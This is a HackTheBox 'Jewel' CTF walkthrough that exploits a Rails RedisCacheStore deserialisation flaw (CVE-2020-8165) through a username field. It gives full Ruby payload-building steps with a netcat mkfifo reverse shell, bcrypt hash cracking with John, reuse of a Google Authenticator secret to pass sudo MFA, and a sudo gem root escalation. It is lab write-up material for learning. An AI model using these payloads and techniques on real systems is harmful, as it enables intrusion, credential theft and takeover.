HackTheBox - Jewel

11 minute read

Jewel was a fun 30 point box created by polarbearer which involved exploiting a deserialisation vulnerability in the way the ruby application handles specific user objects, with an interesting swist on sudo relating to Google Authenticator, and finally a sudo Gem binary to get root.



A quick nmap full port scan reveals the following services:

# nmap -sT --min-rate 3000 -p-

22/tcp   open  ssh
8000/tcp open  http-alt
8080/tcp open  http-proxy

Detailed service scan returns:

# nmap -sC -sV -p 80,8000,8080

22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: Git
|_Requested resource was
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel


The service running on 8000 is a GitWeb instance with some details regarding the BL0G! running on the other port:

Clicking on the project and then the commitdiff shows as the difference in recent commits. We can see the following update to the Gemfile:

This discloses some useful information to us regarding the software in use on the blog. We now know it is utilising ruby version 2.5.5 and rails Googling for exploits relating to these specific versions returns some interesting results, the following PoC being one of them.

The GitWeb instance also allows you to browse through the application source code, specifically the app/controllers/users_controller.rb file:

   1 class UsersController < ApplicationController
   2   before_action :require_user, only: [:update]
   4 #  def index
   5 #    @users = User.paginate(page: params[:page], per_page: 3)
   6 #  end
   8   def show
   9     @user = User.find(params[:id])
  10     @current_user = current_user
  11     @user_articles = @user.articles.paginate(page: params[:page], per_page: 333333333)
  12   end
  14   def new
  15     @user = User.new
  16   end
  18   def edit
  19     @user = User.find(params[:id])
  20   end
  22   def create
  23     @user = User.new(user_params)
  24     if @user.save
  25       flash[:success] = "User successfully registered: #{@user.username}"
  26       redirect_to articles_path
  27     else
  28       render 'new'
  29     end
  30   end
  32   def update
  33     @user = User.find(params[:id])
  34     if @user && @user == current_user
  35       cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://")
  36       cache.delete("username_#{session[:user_id]}")
  37       @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
  38       if @user.update(user_params)
  39         flash[:success] = "Your account was updated successfully"
  40         redirect_to articles_path
  41       else
  42         cache.delete("username_#{session[:user_id]}")
  43         render 'edit'
  44       end
  45     else
  46       flash[:danger] = "Not authorized"
  47       redirect_to articles_path
  48     end
  49   end
  51   private
  52     def user_params
  53     params.require(:user).permit(:username, :email, :password)
  54   end
  55 end

Googling RedisCacheStore exploit will lead you to CVE-2020-8165, which is what the PoC from GitHub is for.

Another file that caught my eye was the PostgreSQL database dump bd.sql which contained some hashes for the users bill and jennifer.

I could not crack the hashes so decided to check out the blog running on port 8080.


You’re greeted with a standard blog home page, there’s a sign up form so let’s create a user:

After signing in there’s a profile page where we’re able to update the current username:

Capturing the request in burp:

POST /users/20 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Connection: close
Cookie: _session_id=811cb6b2592946fe2df31524160f7336
Upgrade-Insecure-Requests: 1

utf8=✓&_method=patch&authenticity_token=CfVF1dqXI29vpHqToHWtu1wKQ/QLSGDVwiATUXs6aF6H8SGOwOkI1v3EAcX2XVvz2MbJxSrRULHX67yqtYbnvA==&user[username]=test&commit=Update User

Update User RCE

There’s a deserialisation vulnerability in the user[username] parameter of the update user function. More information can be found on this PoC from GitHub. Entering the PoC payload into the field returns a 500 Internal Server Error which can be sign we’re on the right track (but not always).

Starting an interactive ruby console in msfconsole, I ran the commands from the PoC with a netcat reverse shell used for the payload:

msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> code = '`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f`'
=> "`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f`"
>> erb = ERB.allocate
=> #<ERB:0x00007f5f29b05150>
>> erb.instance_variable_set :@src, code
=> "`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f`"
>> erb.instance_variable_set :@filename, "1"
=> "1"
>> erb.instance_variable_set :@lineno, 1
=> 1
>> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
=> "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@src\"T`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 443 >/tmp/f`:\x0E@fil...
>> puts "Payload"
=> nil
>> require 'uri'
=> false
>> puts URI.encode_www_form(payload: payload)

After intercepting the update user request and sending the serialised object in the user[username] field you’ll receive a reverse shell on your given port:

# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 34296
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

It is interesting to know that once the value is update and the payload injected, whenever you sign in again (with the same user) the payload will be executed. I’ve added a section at the bottom of this post looking into how the payload is stored.


With a shell as bill you can get the user flag:

bill@jewel:~$ wc user.txt
 1  1 33 user.txt

We can also see that the initial rce file was created in /tmp from our first PoC attempt:

bill@jewel:/tmp$ ls -la
ls -la
total 48
drwxrwxrwt 12 root root 4096 Feb 13 11:21 .
drwxr-xr-x 18 root root 4096 Aug 26 09:27 ..
prw-r--r--  1 bill bill    0 Feb 13 10:49 f
drwxrwxrwt  2 root root 4096 Feb 13 03:13 .font-unix
drwxrwxrwt  2 root root 4096 Feb 13 03:13 .ICE-unix
drwxr-xr-x  5 root root 4096 Feb 13 11:13 passenger.xLzz6Ot
-rw-r--r--  1 bill bill    0 Feb 13 10:42 rce *


Hash Cracking

Looking around the file system you’ll notice a dump_2020-08-27.sql file in the /var/backups directory:

bill@jewel:/var/backups$ ls -la
ls -la
total 2468
drwxr-xr-x  2 root root     4096 Feb 13 03:18 .
drwxr-xr-x 12 root root     4096 Aug 27 10:48 ..
-rw-r--r--  1 root root    81920 Aug 26 11:39 alternatives.tar.0
-rw-r--r--  1 root root    51600 Sep 17 14:15 apt.extended_states.0
-rw-r--r--  1 root root     5415 Aug 28 06:49 apt.extended_states.1.gz
-rw-r--r--  1 root root     5363 Aug 27 10:48 apt.extended_states.2.gz
-rw-r--r--  1 root root      252 Aug 26 09:42 dpkg.diversions.0
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.1.gz
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.2.gz
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.3.gz
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.4.gz
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.5.gz
-rw-r--r--  1 root root      156 Aug 26 09:42 dpkg.diversions.6.gz
-rw-r--r--  1 root root      173 Aug 26 10:32 dpkg.statoverride.0
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.1.gz
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.2.gz
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.3.gz
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.4.gz
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.5.gz
-rw-r--r--  1 root root      158 Aug 26 10:32 dpkg.statoverride.6.gz
-rw-r--r--  1 root root   910140 Feb  8 12:07 dpkg.status.0
-rw-r--r--  1 root root   227505 Sep 18 07:14 dpkg.status.1.gz
-rw-r--r--  1 root root   227505 Sep 18 07:14 dpkg.status.2.gz
-rw-r--r--  1 root root   227505 Sep 18 07:14 dpkg.status.3.gz
-rw-r--r--  1 root root   227505 Sep 18 07:14 dpkg.status.4.gz
-rw-r--r--  1 root root   226834 Sep 17 14:15 dpkg.status.5.gz
-rw-r--r--  1 root root   222736 Aug 28 06:49 dpkg.status.6.gz
-rw-r--r--  1 root root     7828 Aug 27 10:19 dump_2020-08-27.sql *
-rw-------  1 root root      763 Aug 27 10:39 group.bak
-rw-------  1 root shadow    637 Aug 27 10:39 gshadow.bak
-rw-------  1 root root     1670 Aug 26 10:32 passwd.bak
-rw-------  1 root shadow   1059 Aug 28 11:07 shadow.bak

Checking the contents you can see that it is a similar PostgresSQL database dump like the file on the GitWeb instance, however the hashes are different:

-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: rails_dev
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2       jennifer        jennifer@mail.htb       2020-08-27 05:44:28.551735      2020-08-27 05:44:28.551735      $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1       bill    bill@mail.htb   2020-08-26 10:24:03.878232      2020-08-27 09:18:11.636483      $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW

Throwing the hash into John we get a result:

# john hash --wordlist=/root/wordLists/SecLists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob        (?)

Bill’s password is spongebob.

Google Authenticator

Running sudo -l we get a interesting response with a Verification code: prompt displayed in the output:

bill@jewel:~$ sudo -l
sudo -l
[sudo] password for bill: spongebob

Verification code: 

Running ls -la reveals a .google_authenticator file within Bill’s home directory:

bill@jewel:~$ ls -la
ls -la
total 52
drwxr-xr-x  6 bill bill 4096 Sep 17 14:10 .
drwxr-xr-x  3 root root 4096 Aug 26 09:32 ..
lrwxrwxrwx  1 bill bill    9 Aug 27 11:26 .bash_history -> /dev/null
-rw-r--r--  1 bill bill  220 Aug 26 09:32 .bash_logout
-rw-r--r--  1 bill bill 3526 Aug 26 09:32 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog
drwxr-xr-x  3 bill bill 4096 Aug 26 10:33 .gem
-rw-r--r--  1 bill bill   43 Aug 27 10:53 .gitconfig
drwx------  3 bill bill 4096 Aug 27 05:58 .gnupg
-r--------  1 bill bill   56 Aug 28 07:00 .google_authenticator
drwxr-xr-x  3 bill bill 4096 Aug 27 10:54 .local
-rw-r--r--  1 bill bill  807 Aug 26 09:32 .profile
lrwxrwxrwx  1 bill bill    9 Aug 27 11:26 .rediscli_history -> /dev/null
-r--------  1 bill bill   33 Feb 13 03:14 user.txt
-rw-r--r--  1 bill bill  116 Aug 26 10:43 .yarnrc

Google Authenticator is used for MFA and provides time-based OTPs. There is a FireFox addon we can use to set this up on our attacking host:

bill@jewel:~$ cat .google_authenticator
cat .google_authenticator

Add the long string (secret) into the Authenticator add-on and you’re good to go. Once imported it will show a OTP:

Run sudo -l and enter the current OTP:

bill@jewel:~$ sudo -l
[sudo] password for bill: spongebob
Verification code: 984381
Matching Defaults entries for bill on jewel:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem

NOTE you may get an error here, the time/date on the box has to be synchronised with your attacking host. The error can be seen below:

Error "Operation not permitted" while writing config 

Time Sync

Running timedatectl displays the current time, date, and timezone:

bill@jewel:~$ timedatectl
               Local time: Sat 2021-02-13 11:18:35 GMT
           Universal time: Sat 2021-02-13 11:18:35 UTC
                 RTC time: Sat 2021-02-13 11:18:35
                Time zone: Europe/London (GMT, +0000)
System clock synchronized: no
              NTP service: active
          RTC in local TZ: no

Ensure it matches your attacking host by changes your box’s time accordingly:

# timedatectl set-timezone "Europe/London"

Then run date and check it matches your attacking host:

bill@jewel:/tmp$ date
Sat 13 Feb 11:24:59 GMT 2021

Set your date accordingly:

# date --set="13 Feb 2021 11:24:59 GMT"  
Sat 13 Feb 2021 11:24:59 AM GMT

Now run sudo -l, enter the password and verification code and you should be good to go.

Sudo Gem

The Gem section of GTFOBins shows us what to do to get root. Enter the following command and you’ll pop a root shell:

bill@jewel:~$ sudo /usr/bin/gem open -e "/bin/sh -c /bin/sh" rdoc
sudo /usr/bin/gem open -e "/bin/sh -c /bin/sh" rdoc
# id
uid=0(root) gid=0(root) groups=0(root)


With a root shell you can get the flag:

# wc /root/root.txt
wc /root/root.txt
 1  1 33 /root/root.txt

Stored Serialised User

I noticed that after updating the username to the serialised payload and getting a shell, if you kill that shell and then login again you’ll receive another shell.

The payload appears to be stored and applied to the session upon logging in, I was interested in what was happening behind the scenes so decided to check through the application files on the host.

Details on CVE-2020-8165 provided by rapid7:

A deserialization of untrusted data vulnernerability exists in rails <, rails < that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.

After signing up and and creating a user we can update the username, this can be seen in the update section of users_controller.rb. It first deletes our original user_id and then updates it with the new value:

  def update
    @user = User.find(params[:id])
    if @user && @user == current_user
      cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://")
      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
      if @user.update(user_params)
        flash[:success] = "Your account was updated successfully"
        redirect_to articles_path
        render 'edit'
      flash[:danger] = "Not authorized"
      redirect_to articles_path

Upon updating it appears our session is updated and our new user object is called, which executes our serialised payload sending us a shell.

The user object is stored in redis, as we’re already logged in it appears that the application_controller.rb script then fetches our new malicious user_id, applies it to the session which calls the payload. The current_user and current_username functions stand out here:

class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
  helper_method :current_user, :logged_in?, :current_username, :current_userid, :can_write?

  def current_user
    @current_user ||= User.find(session[:user_id]) if session[:user_id] and User.exists?(session[:user_id])

  def logged_in?

  def can_write?
    if logged_in?
      @current_user = current_user
      return @current_user.can_write 
      return false

  def require_user
    if !logged_in?
      flash[:danger] = "You must be logged in to perform this action"
      redirect_to login_path

  def current_username
    if session[:user_id]
      cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://")
      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
        @current_user = current_user
        @current_username = @current_user.username
      @current_username = "guest"
    return @current_username

  def current_userid
    return session[:user_id] if session[:user_id]

So by logging in again with our username updated with our serialised object, the object is called as it is tied to the email we signed up with. This can be seen in the create function of sessions_controller.rb:

class SessionsController < ApplicationController
  def new

  def create 
    user = User.find_by(email: params[:session][:email].downcase)
    if user && user.authenticate(params[:session][:password])
      session[:user_id] = user.id
      flash[:success] = "You have successfully logged in"
      redirect_to root_path
      flash.now[:danger] = "Login failed"
      render 'new'

  def destroy
    session[:user_id] = nil
    flash[:success] = "You have successfully logged out"
    redirect_to root_path

All in all this was a fun little box with a pretty neat initial attack vector.